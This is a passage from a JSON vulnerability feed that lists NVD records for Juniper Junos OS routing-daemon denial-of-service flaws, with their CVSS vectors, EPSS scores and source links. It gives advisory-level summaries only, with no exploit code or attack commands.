2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102027","cveId":"CVE-2026-102027","aliases":[],"kind":"vulnerability","title":"An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to...","summary":"An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to cause an rpd crash via BGP labeled-unicast UPDATEs when the affected multipath features are enabled.","detail":"An Incorrect Calculation of Buffer Size vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP neighbor to cause an rpd crash via BGP labeled-unicast UPDATEs when the affected multipath features are enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.973Z","updatedAt":"2026-10-16T17:17:07.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102027","asOf":"2026-10-16T17:17:07.853Z"},"epss":{"probability":0.0046,"percentile":0.39616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102027&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102027","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102027","type":"primary","publishedAt":"2026-10-14T17:17:55.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102027&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102027, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102026","cveId":"CVE-2026-102026","aliases":[],"kind":"vulnerability","title":"An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP...","summary":"An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a routing-daemon crash via a BGP route update when RIB sharding is enabled.","detail":"An Improper Control of a Resource Through its Lifetime vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a routing-daemon crash via a BGP route update when RIB sharding is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.793Z","updatedAt":"2026-10-16T17:17:07.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102026","asOf":"2026-10-16T17:17:07.700Z"},"epss":{"probability":0.00461,"percentile":0.39661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102026","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102026","type":"primary","publishedAt":"2026-10-14T17:17:55.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102025","cveId":"CVE-2026-102025","aliases":[],"kind":"vulnerability","title":"A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated...","summary":"A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via a BGP route update when extended next-hop tunneling and SRv6 service processing are used.","detail":"A Mismatched Memory Management Routines vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via a BGP route update when extended next-hop tunneling and SRv6 service processing are used.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.627Z","updatedAt":"2026-10-16T17:17:07.540Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102025","asOf":"2026-10-16T17:17:07.540Z"},"epss":{"probability":0.00461,"percentile":0.39659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102025","type":"primary","publishedAt":"2026-10-14T17:17:55.627Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102024","cveId":"CVE-2026-102024","aliases":[],"kind":"vulnerability","title":"An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of...","summary":"An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of service via BGP route updates when extended-nexthop-tunnel is enabled.","detail":"An Integer Overflow or Wraparound vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated BGP peer to cause a denial of service via BGP route updates when extended-nexthop-tunnel is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.463Z","updatedAt":"2026-10-16T17:17:07.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102024","asOf":"2026-10-16T17:17:07.387Z"},"epss":{"probability":0.00461,"percentile":0.39659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102024&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102024","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102024","type":"primary","publishedAt":"2026-10-14T17:17:55.463Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102024&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102024, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102023","cveId":"CVE-2026-102023","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP...","summary":"A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP firewall-counter MIB query when at least one firewall counter is configured.","detail":"A Reachable Assertion vulnerability in fwstatsd of Juniper Networks Junos OS Evolved allows an authenticated network attacker to cause a denial of service via an SNMP firewall-counter MIB query when at least one firewall counter is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.320Z","updatedAt":"2026-10-16T17:17:07.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102023","asOf":"2026-10-16T17:17:07.250Z"},"epss":{"probability":0.00461,"percentile":0.39658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102023&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102023","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102023","type":"primary","publishedAt":"2026-10-14T17:17:55.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102023&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102023, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102022","cveId":"CVE-2026-102022","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS peer to cause an rpd crash via a crafted BGP-LS Link NLRI advertisements.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP-LS peer to cause an rpd crash via a crafted BGP-LS Link NLRI advertisements.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.177Z","updatedAt":"2026-10-16T17:17:07.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102022","asOf":"2026-10-16T17:17:07.090Z"},"epss":{"probability":0.00461,"percentile":0.39661,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102022","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102022","type":"primary","publishedAt":"2026-10-14T17:17:55.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102021","cveId":"CVE-2026-102021","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a...","summary":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a denial of service via a crafted RSVP packet when MPLS-TE RSVP processing is enabled. The condition can terminate rpd and disrupt routing protocol sessions.","detail":"A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent network attacker to cause a denial of service via a crafted RSVP packet when MPLS-TE RSVP processing is enabled. The condition can terminate rpd and disrupt routing protocol sessions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:55.040Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102021","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102021","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102021","type":"primary","publishedAt":"2026-10-14T17:17:55.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102020","cveId":"CVE-2026-102020","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of...","summary":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via BGP-LS routing updates.","detail":"A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an authenticated network-based attacker to cause a denial of service via BGP-LS routing updates.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:54.873Z","updatedAt":"2026-10-16T17:17:06.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102020","asOf":"2026-10-16T17:17:06.917Z"},"epss":{"probability":0.00461,"percentile":0.3966,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102020&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102020","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102020","type":"primary","publishedAt":"2026-10-14T17:17:54.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102020&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102020, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102019","cveId":"CVE-2026-102019","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker...","summary":"An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed RIPv2 message.","detail":"An Improper Validation of Specified Quantity in Input vulnerability in the rpd process of Juniper Networks Junos OS and Junos Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed RIPv2 message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:54.710Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102019","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102019","type":"primary","publishedAt":"2026-10-14T17:17:54.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102018","cveId":"CVE-2026-102018","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a...","summary":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed PIM Bidir message.","detail":"A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial-of-service condition via a malformed PIM Bidir message.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T17:17:54.527Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102018","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18882,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102018","type":"primary","publishedAt":"2026-10-14T17:17:54.527Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102017","cveId":"CVE-2026-102017","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause a routing-plane denial of...","summary":"An Out-of-bounds Write vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker to cause 